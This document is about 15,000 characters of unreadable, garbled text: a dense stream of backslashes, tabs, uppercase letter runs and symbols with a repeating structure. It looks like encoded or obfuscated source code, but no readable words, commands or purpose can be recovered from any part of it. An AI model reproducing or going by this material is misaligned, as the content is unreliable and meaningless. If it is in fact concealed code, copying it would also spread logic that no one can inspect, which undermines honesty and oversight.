NMNMTKJLU\\\\\AB\P\\#JO
TMMIMU\\\\AB\NP\
JNTMMIJU\\AB\\TE#
NMNMTMMINU\\\AB\\\#JO
TMMIOUUUUGv\\\\\\TE#
NMNMTMMIHUT
JNTOMOUU\\ZZ\\\##TXLOMOEUU\\\\	\\Gvv\\\XDK\\\A\\\TU\\\##
##TXLOMOEUGv\	\\\XDK\\\\BA\TMOL"NOLU\ZZ\\\\\\XDK\\@\THKEWNMUGvv\\v	\#M	OMLN#LJTX	NP\\\\XLD	LUvv\\\X

	MLN\\\\A\#JO
TEJOUTLLIN	TMMNOUTXLD	LUP\\\[S[UGv\\\\\\\Tv\\\\\Tvvv\\\\
JNTMMIKU\\R\\\\\X

	MLN\\\\R\LLIN	TMMIDUPv\\\\LLIN	TMMIEU\\\\R\\X

	MLN\\\\\\R\\\\\#JO
TMMJLUPv\#JO
TMMJMU\\R\\\X

	MLN\\\\\R\\
JNTMMJNUPv\\\U\\\\\XO
MMvvv\U\\v\\\\\\T]
JNTMMHMUTX	NUU\\\Gv\\X	N\\\\\A\\E#
NMNMTHELUTXO
MMP\\^ ^P\\\X	NUGvv	\\X	NGvv\\\\	\\\\\\MIJN#TXLHHUv\vvv\\\\\\\\\\TE#
NMNMTMMIHUT#JO
TDIOUUU\\\v\\\\	\\<#
TXLHHP\\\\	U\]AA\\\\GvvSS\+,\>\*F\\
vvvvvXEMLHHDM\\A\
JNTMMIHUTLLIN	TMMJOUU\C\<##	TU\F\\Gvv\\\	\\]T#JO
TMMLHUTXEMLHHDMU\ZZ\\\\\\]TXEMLHHDM'#JO
TMMJHU!UUGv\\v\	\	OOEHTXMIP\XI#J	P\X
		ENUvvv\v\\\\TLLIN	TMMODUTXMIP\\\\\\QTLOWLMUU\\AAA\E#
NMNMTEDIUU\\\vv\\\\\\\\T]HH#EOMTXMIP\\\\XI#J	UU\\\vLHMMJKTX
		ENP\\\\\E#
NMNMTMMJIU\\\\R\\#JO
TMMNOUTXMIUUGv\\\\\	\\\Gv\\\\v\\\\MIJN#TXMIUGv\\\	\LLIN	TMMJJUTXI#J	UGvvvvXIKNHM\A\\<
JNTMMOUTXMIP\\
JNTMMNHUUGv\\\TXIKNHM\\AAA\\\U\\\\v\LHMMJKTX
		ENP\\\\LLIN	TMMJIU\R\\\\\\
JNTMMJKUTXMIUUGvvv\	\\\Gvvv\\\\\\\TE#
NMNMTMMJDUT#JO
TMMNUUU\\<TXIKNHMP\03?7#9$UGvXLOMOE\A\\<#JO
TMMJEUTXIKNHMP\\\\\XI#J	UGv\\TE#
NMNMTMMJDUTLLIN	TMMKLUUU\\<TXIKNHMP\\\03?7#)2UGv<TXIKNHMUGv\\\\\\\\\TXLOMOE\AAA\\\\\\\\  \TXI#J	\]AA\\^^\ZZ\\XLOMOE\\\]AA\\\#JO
TMMJJUTXI#J	UUU\\\v\\\LHMMJKTX
		ENP\\\\LLIN	TMMJIU\\R\LLIN	TMMJKUTXMIUUGv\\	\\Gv\\\v\	\\\XLOMOEGvvv\\vvv\	\#DD#TUv\\v\\\\\\vvv\\\\\T]E#
NMNMTMMJDUTLLIN	TMLLDUU\  \\\\\]#JO
TMMKMUTE#
NMNMTMMKNUUU\v

KHJT	UGvvvv\\\\	Gvv\\\\\\\\\T#T#JO
TMMKOUUU\\	Gv\\\\T#T#JO
TMMKHUUU\\	Gv\#T
JNTMMKHUP\\\\MP\\\\\TIEIWIUUGv

KHJT	UGv\T
JNTMMKIUT#JO
TMMKJUUU\\\#T#JO
TMMKHUUGv\\\\XHNH\\A\E#
NMNMTMMKIUTE#
NMNMTMMKKUU\C\\TU\NEDNT
JNTMMKDUP\\\\^^U\F\\\^^Gv\\\\\\\TXHNH\\]AA\\\\^^\ZZ\\\\E#
NMNMTMMKEUT#JO
TMMDLUU\\\\\ZZ\\\	#TXHNHUU\\\\v#TLLIN	TMMKOUP\MP\\TNMIDHWMJUUGv\\v\\\\T(\\\\XKU\\\v\LHMMJKT#JO
TMMDMUP\\\\\XKUGXEANNHLGX
AXEYMKGv\\\\\\\\\T9\\XKU\\\v\vv\	\

KHJTXKIUvXMKDIATLWLEEUGXD#OAXMKDIYJGv\\\\\\T]
EKMLT#JO
THNHUUU\\\	Gv\v\\\\T]\\\#JO
TMMKEUTE#
NMNMTMMKKUU\\  \\]\\\#JO
TMMKEUT
JNTMMDLUUU\v\	Gv\\\\v\\XHKK\\A\\\TU\NEDNT#JO
TMMDNUP\\\^^UGv\\\\TXHKK\]AA\^^\\ZZ\\\	#TXHKKU\\ZZ\\\TU\\\\NEDNT#JO
TMLDIUP\\^^U\]AA\\\\^^U\\\vvv\\\	Gvv\\\v\\\\\TXHKK\\\\\\AAA\\\\\\^^U\\v\XL#HNK#N\\\A\
JNTMMLHUTXKIU\\\C\XKI\\\F\\LLL
LNOETUGv\XHL\\\A\IO	
MMDTXL#HNK#NUGv\\Tv\XHL\\\ZZ\\\\\]TXHLQB	#U\ZZ\\\\\TXHLQB	#Uv\\\\ZZ\\XHLQB	#\AAA\\XHLQB	#\R\[<[\\\\R\\KJKLHNETE#
NMNMTMMDOUUvU\\v\\\\\XHKK\\\\A\\\\TU\\XHLQB	#Gv\\\\\\v\\v\\\\\TXHKK\\\\\]AA\^^\\ZZ\\	#TXHKKUU\vvvv\\\\X	J#O\\\A\\	#TXHKKUGv\\\XKEI
\\\\A\\OMLNTTMEWIUUGv\\\\T
JNTMMDHUTE#
NMNMTMMDIUUU\v\\\\\E#
NMNMTMMDJUTXKEI
P\\\X	J#OUGvv\\\D#NEKT
JNTMMDKUP\\\\XHKKP\\LLIN	TMLEJUUGvD#NEKTE#
NMNMTMLDIUP\\\XKEI
P\\\#JO
TMLEJUUGvvv\	Gv\\\\\v\\XNN	E\\\\\A\LKKHJ	
OHTUGv\\\T	U\v\\\XHKK\\\A\^^Gv\\\\\TX	##H\A\\\\LG\X	##H\@\\\\\TNLH"NLMUG\X	##HWWU\\\\v\\XKL\\\\A\\XNN	E'E#
NMNMTOLHUTXNN	EU!\\\R\\\\\OMLNTTMLE"MLOUUGv\\\\T]	#TXKLUU\\vvvvXHKK\\A\\\XKLGvvvGv\\\\\\vv\\v\\\\\\\\\\\TXHKK\AAA\\\\^^U\\v\\LHMMJKTLLIN	TMMDDUP\E#
NMNMTMMDEUUGvv	Gv\vSS\\vv\\\vvv\\\\\\XKEI
\\\A\\\OMLNTTMED"NNNUUGvvvv\\\\\\\T]\\\\LLIN	TMMDHUTLLIN	TMMELUU\\\ZZ\\\\\T
JNTEMMUU\\ZZ\\LLIN	TDNDUT=>/,=(4\R\
JNTMMEMUUU\v\\\\\\\	#\\=>/,=(4\R\\
JNTMMEMUGvvv\\v\\XJ
HOIEE\A\\XHKK\R\\[<[\\\\R\KJKLHNETE#
NMNMTMMDOUUGv\\\XK
EKO\A\\\\\Gv\\\\\\TE#
NMNMTMMDHUT#JO
TMMELUUU\\\vXK
EKO\\A\\\LLIN	TMMELUTTv\\\
JNTMMENU\\\AB\\\XHKKPvv\\\E#
NMNMTMMEOU\AB\XKEI
Pvv\\\\\#JO
TMMEHU\\AB\XJ
HOIEEPvE#
NMNMTDMJU\AB\\\E#
NMNMTDMKUPvLLIN	TMMEIU\AB\\\\\XHKKPvUUGv\\T##TXK
EKOUU\vvv\\\\LHMMJKTE#
NMNMTMMDDUP\\\XK
EKOQB##TU\\\\R\[F[\\\\R\\\XK
EKOQB##TUUGv\XK
EKO\\\\\A\\Gv\v\vv\\\\\T]XK
EKOU\\XL#KANEVHGXMINAXL#KQOOGv\\\X\\A\\\\\\TX;03>=0/'
JNTMMEJU!U\\C\\\\X;03>=0/'
JNTMMEJU!\\\\\F\	Gv\\\\\\T]X\\\  \\]
JNTEOIUTXUU\\\v\\LHMMJKT
JNTMMEKUP\\\\\\
JNTMMEDUUGv	Gv\\\\vSS\3,\\\vv\X	IMJ\\\\A\#JO
TMMEEUT
JNTMNLLUU\\\C\\\\\##TXKEI
U\\F\\\\LLIN	TMMHNUTXKEI
UGv\X	KIHHN\\\\\A\
JNTMMEEUT
JNTMNLMUU\\C\\	#TLLIN	TMNLNUU\\F\T
JNTMNLOUUGX#	AMIWMLGXIMAX#	QODGvv\\XKNE\\\\A\\\\XQBTXQB	P\\Tvvv\\\\LLIN	TMMENU\AB\XHKKPvvv
JNTMMEOU\\AB\X	IMJPv\LLIN	TMNLHU\\\\AB\\\XHKKPv\\\\\LLIN	TMMEHU\AB\\\\XJ
HOIEEPv\\\\\\LLIN	TMNLIU\\AB\\X	KIHHNPv#JO
TMNLJU\\AB\LPv\\\\\LLIN	TMNLKU\\\AB\XHKKPv\\\UP\\\\\\T#JO
TMNLDUP\\\\\#JO
TMNLDUP\#JO
TMNLDUP\E#
NMNMTMNLDUP\LLIN	TMNLDUP\
JNTMNLEUP\\\\
JNTMNLDUUUGv\\\\\\\\\T]XKNEU\\v\\\\\LHMMJKT#JO
TMNMLUP\
JNTMNMMUUGv\\\\\\	Gv\v\\\XK
EKO\A\\\TU\\XQB#GvXODKDN#\\\A\\\\\XQB\R\#JO
TMLHKUGX	NATLWLUGX	ODKIJ	AX	NYMIGv\\\XQBTXQB	P\\\\Tv\LLIN	TMNMNU\\\\\AB\\\XK
EKOPv\\\#JO
TMNMOU\AB\\XODKDN#Pv\\\\\LLIN	TMNMHU\\\AB\#JO
TODLUTT
JNTDMKU\AB\\\	UUPvUP\T#JO
TMNMIUP\\LLIN	TMNMJUP\\\E#
NMNMTMNMJUUUGvvvv\XQBTXQB	P\Tv\#JO
TMNMNU\\\AB\\\XK
EKOPvLLIN	TMNMOU\\\AB\\\\\XQB\\\R\\\#JO
TMNMKUPv\\\\\\\
JNTMNMHU\AB\\\\\[ML[Pv\\UP\T
JNTMNMIUP\\LLIN	TMNMJUP\\LLIN	TMNMJUUUGv\\\\\\\T#JO
TMMEEUT
JNTMNMDUUU\vvvv\\#	#TXK
EKOUGv\v\\\\\\vvvv\\\\T]	#TXHKKUU\\v\LHMMJKTE#
NMNMTMNMLUP\\\#JO
TMNMEUUGv\\\	Gv\\\\\\\v\\\\\X	D#I	K\\\\\\A\\E#
NMNMTMMEEUTLLIN	TMNNLUU\\C\#	#TE#
NMNMTMNNMUP\\\\\XHKKU\F\\\\\\Gv\\XIEJ
EIIO\\\\A\\\\Gv\\\\\\TX	D#I	K\ZZ\]TX	D#I	KQB58UU\\\v\\\\\\\TLLIN	TMMEEUT#JO
TMNNNUUU\v\\\\\\XIEJ
EIIO\A\TU\\	#TX	D#I	KP\\LLIN	TDMKUUGXIL#NATLMLWLDUGXO
IOAXIL#NYMOGvvv\\\\\\\TTX	D#I	KQBU\\\\\ZZ\\\\\\
JNTMNNOUTX	D#I	KQBUU\v\\\\\\\\XIEJ
EIIO\\A\]TX	D#I	KQB'
JNTMNNHU!UGvv\v\\\\\\\T]XIEJ
EIIOU\vLHMMJKTE#
NMNMTMNMLUP\\E#
NMNMTMNNIUUGv\\\\\\\\TXK
EKOU\\v\\\\\\T]LLIN	TMMEEUT
JNTMNNJUU\\\ZZ\\\\\TLLIN	TMNNKUU\\\\ZZ\\<E#
NMNMTMNNDUT=>/,=(4\\\\R\\\\
JNTMNNEUUU\\\\v\\\	#\=>/,=(4\R\E#
NMNMTMNNEUGv\vvvv\TLLIN	TMNOLUT#JO
TMNNJUUU\<##	TXK
EKOUGv\vvvv\	Gvvvv\vSS\	\vvv\\\\D#NEKTE#
NMNMTMNOMUP\XHKKP\\\\E#
NMNMTMLEJUUGvD#NEKT
JNTMLDIUP\\XKEI
P\\\\\\
JNTMLEJUUGv\\\\\\\T(\XKU\\v\\LHMMJKT#JO
TMNMLUP\XKUGv\\\\\\\\T9\\XKU\vvv\\\\\\vODOM	ETLLIN	TMNONUUGv\v\\\\vvv\\\	\\\\L#NOTXOEOUvv\\\\\\\\v\\\\\v\\\T]\LLIN	TMNOOUTXOEOU\\\\\\  \\\]\#TXOEOP\\\#JO
TMNOHUUU\\\\\\v	\\\XOEOGv\\\\\\vvvvv\\\\\XHKK\\A\\\\LLIN	TMNOLUT#JO
TMMKKUU\C\\\\\TU\NEDNTLLIN	TMNOMUP\\^^U\\F\\^^Gvvv\\\\\\T]\\XHKKU\v\\	\\\XOEOGvv\v\\\\vv\XJMD\\\A\\#TXHKKUGv\\TLLIN	TMMHDUTXOEOQB	#P\\XJMDU\\\AAA\\\\U\\v\XOEOQB	#\RA\\#JO
TMNOIU\\\\\R\\XJMD\\R\\^[^Gvvvv\\\\\\\\\\T(\\XKU\\vvvv\\\\\\\\LHMMJKT#JO
TMNOJUP\XKUGv\\\\\T9\\\XKU\\\\vSS\\\\1/-0\6/32\vv\\v\\\\\	\XOEOGvvvv\\\v\\\\	\\\\\\MLLOIHDTXOJOK	Uv\\\\v\\\\\v\XHNH\A\\\E#
NMNMTMNOKUTE#
NMNMTMMKKUU\\C\\\\\\TU\\\NEDNTLLIN	TMNOMUP\\\^^U\\\\F\\^^Gv\\\\\T]\\XHNHU\\\\\v\\\\\\\	\\\\\XOJOK	Gv\\v\\\\\X#
\\\\A\\TE#
NMNMTMNODUP\\\\LLIN	TMNNHUUGv\\\TX#
\\\\\\\\\XU\\v\\\\TTXOJOK	'X!U\ZZ\#JO
TMMHMUTXOJOK	'X!U\\\\\ZZ\\\E#
NMNMTMNOEUTLLIN	TMNHLUP\XOJOK	'X!P\\XNNOMMUU\\v\X
\\A\E#
NMNMTILKUTLP\\TU\\\XNNOMM'M!\\\Q\\\\\MUGv\\\XOJOK	'X!\\A\LLIN	THELUT#JO
TMNHMUP\\[T[\\\\R\X
\\\\R\\[U[P\XOJOK	'X!UGv\v\\vv\\\T(\\\\\XKU\v\\\LHMMJKT
JNTMNHNUP\\\XKUGv\\\\\\T9\\\\\XKU\\\vvv\\\v	\\\XOJOK	Gvvv\vv\\\\	\\\	JLTXON#I
HP\\\XD#			Uv\\\v\\\\\\\\v\\\XHKK\\\\A\\\\\\#JO
TMNOKUT#JO
TMMKKUU\\\C\TU\NEDNTLLIN	TMNHOUP\\^^U\\\F\\^^Gvvv\\\\\TXHKK\\\AAA\\\^^U\\v\	\\XON#I
HGvvvv\\v\\\\T]\\\LLIN	TMNNOUTXON#I
HUU\\\v\\\\\	\\XON#I
HGv\\vvvv\\\\\\\\T]\\\\\TXON#I
H'LLIN	TMNHHU!U\\\  \\\\]\LLIN	TMNHIUTXON#I
H'LLIN	TMNHHU!UU\v\XON#I
H'LLIN	TMNHJU!\\\A\\\\TUGvvvv\v\\\\T]\\\\\
JNTMNHKUTXHKKP\XON#I
H'
JNTMNHJU!P\	UU\v\\XON#I
H'E#
NMNMTMNHDU!'!\\\A\\XHKKGv\\\\v\\\\\\\\\\\\\T(\\XKU\v\\\\\LHMMJKTLLIN	TMNHEUP\\XKUGv\\\\\\\\\T9\XKU\\vv\\\	\XON#I
HGXLHKKHA,4,#1=63.#*9./532GX	NNAXLHKKHVEGvvv\\vv\\	\\\\\\N	IM	IITUv\\\\\v\XIOK#M\\A\\TUGvv\\\\\\TT
JNTDNNUU\\ZZ\\E#
NMNMTMNOKUT
JNTMMKKUUU\vXD	ILMM\\A\TU\\\\#TE#
NMNMTMNILUP\\\TUUGv\\\X
HME\A\\\TUGv\\\\\\\\\TXD	ILMM\\\\\\\\XU\v\\\\\\\\\\T]\\\\\#JO
TMMHMUTXU\\  \\\E#
NMNMTMMHDUTXP\LLIN	TDNMUU\]AA\U\v	Gv\\\\\vvvvX
HJ

\\\A\#JO
TMMMLUTXUGvv\\TX
HJ

\AAA\\[R[U\v\X
HJ

\\A\XGv\\\\\\vv\\\\\TTX
HME'X
HJ

!UU\vSS\	\\\+,\:	\5vv\	Gvv\\\X
HME'X
HJ

!\\A\\\\	Gvv\\XMI\\\\A\+,#,0);52#85.\\R\[S[\\R\\\\\XGv\\\\\\\\TE#
NMNMTMMMLUTXU\\\\\AAA\[R[U\\v\\\\\\\\\\T<E#
NMNMTMMHJUTXMIUU\\vXIOK#M'!\A\\\\\\XMIGv\\\\v\\\\\\\\v\XJEI#H\\\\A\\E#
NMNMTMNIMUTXMIUGv\\T<
JNTMMMMUTXJEI#HUU\v\\XIOK#M\\A\\
JNTHLOUTXIOK#MP\\OIHMO#TXJEI#HP\\\T
JNTMNINUUUUGv\vvvv\\\\vv\\\\\\v\v\\\\\\T<E#
NMNMTMNIOUT#E
HNETUUU\\\\\XJOAONVHGXKHMEJ#DAXJOQEGvXOLHNH\\\A\\\\MHT#E
HNETUUGv\\\\\T
JNTMNHIUTXOLHNHUU\\\XJ	AEKWOEGXJKAXJ	QNGv\\\TXOLHNH\\\\\\\XNKU\\\v\\\\\TXNK\\\\AAA\\\\
DJMTUU\\v\\\\	Gvvvv\\vXLHH\\\\A\#E
HNETU\R\[S[\\R\XNKGv\\\T<LLIN	TMMHJUTXLHHU\\\\\\ZZ\\#JO
TDLNUTE#
NMNMTMNIHUTXNKP\T
JNTDLMUUUU\AAA\\\LLIN	TMNINUU\v\\\\\XIOK#M'!\\\\\\A\\XLHHGv\\\\\\\v\\vv\\\v\\\\\vvvv\\TT#JO
TMNNKUU\\ZZ\\\\
JNTMNOKUTLLIN	TMNIIUUU\\\\vv\XI
INK\\A\TU\\#T#JO
TMNIJUP\\\\\^^UGv\\\\XKL	OK\A\TU\\#TLLIN	TMNIKUP\\^^UGv\\XHK	\A\\T#JO
TEIHUU\C\\+,#?32(92(#85.\\\R\\
JNTMNIDU\F\=>/,=(4\\R\\LLIN	TMNIEUGv\\\\X
K\\A\\#JO
THLHUT
JNTMNJLUTTXI
INKP\XKL	OKUUUGv\\\\TX
K\\\X	OKHKJU\\v\\\\\\\\\TE#
NMNMTMNJMUTX	OKHKJP\\\#JO
TDNMUU\\]AA\\\\U\\XDNNIOMKAMI NLKGXJ	NAXDNNIOMK"NMOGv\	Gv\\v\\XJ	EE\\A\XHK	\R\\[S[\\\\\R\X	OKHKJGv\\\\\\T<E#
NMNMTMNIOUTXJ	EEUU\\vv\XDMH\\A\\\MHTXJ	EEUGv\\\\\\T#JO
TMNHIUTXDMHUU\\v\\\TXDMH\\\\\\\\XNKU\\v\\\XD	\\A\\\XJ	EE\\\\R\[S[\\\\R\\XNKGv\\T<
JNTMMHJUTXD	U\\\ZZ\E#
NMNMTDLNUTLLIN	TMNJNUTXNKP\\\\\T
JNTDLMUUUU\\AAA\\\\\\LLIN	TMNINUU\\v\XIOK#M'!\\A\XD	Gvvvv\\\v\v\v\\vXJ#HEL\A\XJ	EE\\R\LLIN	TMNJOUGv\\\\\\T<
JNTMNJHUTXJ#HELUU\\\\\v\XIOK#M\A\\LLIN	THLOUTXIOK#MP\OIHMO#TXJ#HELP\\TE#
NMNMTMNINUUUUGv\v\vvv\\\\v\\\v\	\\\\\E#
NMNMTHLHUTXIOK#MUGv\\\v\\\	\\\#ITXLKUv\v\\\\\\T]E#
NMNMTMNHIUTXLKUU\\	\\\\\\TUGvXEMM

\\\A\\TUGvvv\\\\\\\\TXLK\\\\\\XLOMOEU\\v\\\\\T]#JO
TMMHMUTXLOMOEU\\  \\\\XLOMOE\\AAA\\\\^^\\\\\  \LLIN	TMMJJUTXLOMOEU\\\B\\\THLNHWKNUU\\\\\	Gv\\\\\XED	MJIAQELIGXMHDMATXED	MJIBLUCXED	MJIFQXED	MJIGv\T<#JO
TMNOEUTXLOMOEP\\^^U\\\\\AAA\\\\\U\\\\\\	Gv\\\\\\\T(\XKU\v\\	Gv\\\T9\XKU\v\	GXJLMEIAKDWILGXIK#	IENKMHAXJLMEIQHJGv\\v\\XEMM

'!\\\A\\\XLOMOEGv\\\\\\\\vvv\\\\	\\\\XEMM

Gvv\\\\v\\\	\\\\DDDITXLKUv\vvv\\\\\\\\\v\\\\\\\\v\\\\\\\\\TTXLKUU\\v\	\\Gv\\vvv\\vXIOK#M\\A\\\\\N	IM	IITUGv\\\\\TTXIOK#MUU\v\	\\\\Gvvv\\\v\XK\\\A\\\\\Gv\\\TXIOK#M\\\XLHHU\vv\\T]\\<
JNTMNJIUTXLHHU\\\  \\\\]\\<#JO
TDJMUTXLHHUU\vSS\<
\
vv\\\\\	Gv\\\vvvvv\\\T<E#
NMNMTMMMEUTXLHHU\B\TLJOOWLMOJUU\v\\	Gvv\\\\\XO\\\A\\<E#
NMNMTMNJJUTXLHHUGv\\\\\\T]\XO\  \]\\
JNTMNJKUTXOUU\\vvvv\\	Gvv\\\\vv\\v\\\\XMJMHH\A\GXJMJAOJWKDGXJKK
AXJMJQNGv\\\\TXLK\\\\\\\\XDNLU\\v\\\vvvv\XOED\\A\\\\\\<E#
NMNMTHELUTXDNLP\^^P\\\\XOUGv\\\\\\\TXOED\]AA\\	\\ZZ\XOED\\\\\]AA\XOU\\v\\\XO\\\\\\A\\\\XOEDGv\\\XMJMHH\\\A\\	Gv\\\\v\\\\\T(\\\XKU\\vLHMMJKT
JNTMNJDUP\XKUGv\\\\\\\	Gv\\\\\\T9\\\\\XKU\\v\\\	Gv\\\v\v\v\\\\TXMJMHHU\v\\\THH#EOMTXLHHP\XOUU\v\\\\\\\XK\\\A\\	Gv\\v\vvvvvv\\\	\\XKGv\\\\\\\\\\\\\T(\\\\\XKU\v\LHMMJKT
JNTMNJEUP\\\\XKUGv\\\\\\\\\T9\\XKU\v\\\vv\\\\	\\\Gv\\vvvvv\\	\\\	
	ITXJEI#HP\\\\XK#ID#MOUv\v\\X
O\A\\\TUGvXK#ID#MO\\A\XK#ID#MO\Q\\MGvv\X
E#\A\<#JO
TDNIUTXJEI#HUGvvv\\\T]\\\\\
JNTMNHIUTX
E#UU\\\vSS\		\	\	vv	\X
OGv\vvvv\\\\\\\\X
E#\\\A\LLIN	TMONUTX
E#P\\LP\\THDNWMDUUGvv\\\\\v\\\\\\\TX
E#\\XNKU\\v\\vvv\\\\\\TXNK\AAA\\[R[\\  \\XNK\\AAA\\\\\#JO
TDNMUU\\v\\	GXI	ANMO KHGXD##
#AXI	"NMIGv\\\v\\\\\v\X#	D\\\\A\\\\XJEI#H\\R\[S[\\\R\XNKGvvvv\\\\\\\\\T]\<E#
NMNMTMNKLUTX#	DUU\vvvv\\\\	Gv\\\\v\\v\\\\\T<E#
NMNMTMNKLUTX#	D\R\\#JO
TMLJIUUU\\\v\X
O'!\\\A\\\\\\#JO
TJOJUTX#	DP\\\\\\
JNTMNKMUUGv\\\	Gv\\v\\\\\\v\\\\TXK#ID#MO\\\B\\LU\\\\v\X
O\\\\\A\\E#
NMNMTMNKNUTX
OP\\	
	ITX#	DP\XK#ID#MOUUGvvvv\\vvvv\\vv\\\\\	\X
OGvv\\\\\\\	\\\D#EKDTUvvv\\\\\XHLHATLDWLJUGXLJOAXHLHYKGvvvv\\X	JNKON\\\\\A\TUGv\XLDN#
\\\\A\\\LLIN	TMNKOUT=>/,=(4P\\#JO
TMNKHUUGv\\\\\\v\\\XH\\A\TUGv\\\\TXLDN#
U\\v\\\XH'!\A\\#JO
TMNKIUTXLDN#
UGvXH'!\\A\\\\\E#
NMNMTMNKJUTE#
NMNMTMNKKUTXLDN#
UUGv\\\XH'!\\A\\LLIN	TMNKKUTLLIN	TMNKDUTLLIN	TMNKDUTXLDN#
UUUGv\\\\v\\\v\\\XH'!\\\A\\\E#
NMNMTMNKEUGvvvv\XH'!\\\A\\\\LLIN	TMNDLUGvXH'!\\A\\\#JO
TMNDMUGv\\\\XH'!\A\\E#
NMNMTMNDNUGvv\XH'!\\\A\\LLIN	TMNDOUGv\\\\\XH'!\\A\E#
NMNMTMNDHUGv\\\\\\XH'!\\\A\LLIN	TMNDIUGv\\v\XOK\A\\\
JNTMNOKUTLLIN	TEJUU\\C\\TU\<#JO
TEJUTLLIN	TEKUU\\F\\\\^^Gvvv\\\\\TXOK\\\\\]AA\\\\\^^U\\v\X	
D\A\\\\\TLLIN	TMNJMUTXOKP\\\[G[U\\\]AA\U\\\\\C\\\\[G[\\F\\\\[F[Gv\\\\\\\TLLIN	TMMLIUTX	
DP\\\XOKU\\\\X#HKDU\\vvv\\\\\\\\X#HKD\A\\\\\E#
NMNMTJJNUTX#HKDUGvvvv\\\\TX#HKD\\]AA\\\^^U\\v\\\XH'!\A\\\X#HKDGv\\vv\v\\\\\\vSS\+,\,\>\\
vv\\\v\XH\\\A\E#
NMNMTMNDJUT
JNTMNDKUTXHUUGv\XHEHL\\A\\E#
NMNMTJKMUT	UGvX	JNKON\\A\\TUGv\\vvv\TXH\\\\\XJEI#HU\\vvv\v\\T]\\<LLIN	TMNKLUTXJEI#HU\\\\\  \\\]\\\\\<LLIN	TMNDDUTXJEI#HUU\\v	Gvvvv\\\vSV\
\\VSvv\\\\\\\\\TTLLIN	TMNDEUT	U\\\Q\\\\\XHEHLU\\\B\TMOQOUU\\v\\Gv\vvvv\vvv\\\\\X	JNKON\\A\
JNTMNELUTX	JNKONP\\\\	
	ITXJEI#HP\\NUUGvv\\\\\\\\\\\\T(\\\\\XKU\\\vvvv\LHMMJKT
JNTEKOUP\\XKUGv\\\\\\\T9\\\XKU\v\\v\\\\\\\\v\\\\\\	\E#
NMNMTJEIUT
JNTMNDJUTX	JNKONUP\\\\\TXLDN#
UUGv\\\\\\v	\KJJM
KTX#	LK#Uv\\\\\\v\\v\\\\XEH#I	JH\A\\\TX#	LK#\R\#JO
TMNEMUP\\\X#	LK#\R\E#
NMNMTMNENUUGv\\\\\\\\\\\TXEH#I	JH\\\\XJEI#HU\v\\\\\\T]\<LLIN	TMNKLUTXJEI#HUU\\\v\\\\\\\	Gvvv\\\\\\\vv\\\\\X#KO#
\\\\A\\MHTXJEI#HUGv\\\\\\\\\T]E#
NMNMTMNHIUTX#KO#
UU\v	Gvvv\\\vSS\
	\\
vv\\\\\TX#KO#
\\\\\\XKU\\\\v\\\\\TE#
NMNMTMMODUTXKP\\\\\QTMHM"MOKUU\\\AAA\\\LLIN	TEDIU\\ZZ\\\IND#TXJEI#H\\\\\R\[S[\\R\\\XKP\\THELMWEEUUU\\\vv	\\\\	Gv\\\\vvvvv\\\\TX#KO#
\\\\\XKU\\vSS\	\
	\
vv\\XI	NDMJ\\A\\\\XJEI#H\R\\\\\\[S[\R\\\XKGv\\\T]\<E#
NMNMTMNKLUTXI	NDMJUU\\\v\	Gv\\v\\\\\\\XNHI
N\\\A\\MHTXI	NDMJUGv\\T]
JNTMNEOUTXNHI
NUU\v\	GvvSS\+,\>	\>\\vv\\\\\\\\\\TXNHI
N\\\\\\\\X	
HEILU\\\vv\\\\T
JNTMMODUTX	
HEILP\\QTMWOUU\AAA\\\\\\
JNTEDIU\ZZ\\IND#TXI	NDMJ\\\R\[S[\R\\\\\\X	
HEILP\\\THEHMWIEUUU\\v\\\\\	\\\\	Gv\vv\v\\v\\\vvvv\\\T(\\XKU\\\v\\\\\\LHMMJKT#JO
TMNEHUP\\\\XKUGv\\\T9\\XKU\\\\X
LJAKOVOGX#HOMAX
LJQHHGv\\\\vSS\\	\		vv\\	\\\\Gvv\\\\\\	\DKJJNK	TUvvvvv\\\v\\\\\\\T#DIDE	
TEIITUUU\\\	Gvv\\T#TLLIN	TMNEIUUU\\v\\\\\\\	Gv\\\vv\\vXKI\\\\\A\L	DINOOTUGv\\\\T]\\\\\\XKI\  \\LLIN	TMMJJUTXKIU\\\@\\TEEMWEUU\\\vv\	Gv\vvv\\\\T]\LEIOTXKIUU\\\vLHMMJKT#JO
TMNEJUP\\LLIN	TMNEKUUGv\\	Gv\\\\\v\\\\\\\v\\X	JNKON\\\\\A\D#EKDTUGvvvv\\\\\\\\TTX	JNKONUU\\\vvvv\\T]#T
JNTMNEDUUU\\\\vSS\+,\/\0F\\vvvvv\\\LHMMJKT
JNTMNEJUP\\
JNTMNEEUUGXHILAIEVOGXEM	H	AXHILQONGv\\\\#T#JO
TMOLLUP\\\\\\MP\\\\TDMEWNKDMUUGvvv\\\#TE#
NMNMTMOLMUP\\MP\TNIEMKOWNKUUGv\	Gv\\\\\vXEJ\A\\\\\LGv\\\\TX	JNKON\\X#	LK#U\\\XKLLIAJOWIGXOAXKLLIQOKGv\\v\\\\\\\TKJJM
KTX#	LK#UU\vvv\\\	Gv\\\vv\\\\\\\XJ	\A\\\\\\^^Gv\\XKOLJ\A\\\X#	LK#\\R\E#
NMNMTMNEMUGvv\\\\\\T<LLIN	TMMMDUTXKOLJU\\\\ZZ\]<#JO
TMOLNUTXKOLJUU\\\vSS\	\Qvv\\\XKOLJ\A\\	Gv\\\\\\T]<#JO
TMOLNUTXKOLJUU\v	KOM#TXKOLJP\\\\\THLJWDKUP\\	UGv\v\\\\\\\TXKOLJ\\ZZ\\\T]<E#
NMNMTMOLOUTXKOLJU\\\\  \\\\]<#JO
TMOLHUTXKOLJUUU\\\vvvv\\\\\\XKOLJ\\A\\\\	Gvvv\\\\vv\\\TXKOLJU\\\\\\vv\\\\\\\\X
I\\A\\\XKOLJ\R\\[S[\\\R\\\
DJMTUGv\\\XD#K\\\A\DENJNHTXKIUGv\\\\\\\\XJM	JI\\A\\	OOEHTX
IP\\XD#KP\\\\\#JO
TMNEJUUGvv\\TXJM	JI\\\ZZ\XJM	JI\BA\\\\#JO
TMOLIUTXD#KUU\\vvvvXJ	\\A\X
IGv\\vvSS\+,\5
\=,5F\\vv\\\\\\vvvv\\\\\\\T]\\XJ	U\\\\XMNA,4,#52(#1=$S,4,#52(#1=$GXKMAXMNWHNGv\\\\XOIN\A\E#
NMNMTMOLJUT
DJMTUP\\,=(452:3#:5092=19UGv\X	
L\\\\\A\\\\\X#	LK#\\\\R\\\#JO
TMOLKU\R\\XOINGv\\T]\\\\\<
JNTMOLOUTX	
LUU\\\\vSS\+,\2
\>F\
	\Qvv\	KOM#TX	
LP\\TLMLWLLUP\\	UGvv\X
I\\A\\X	
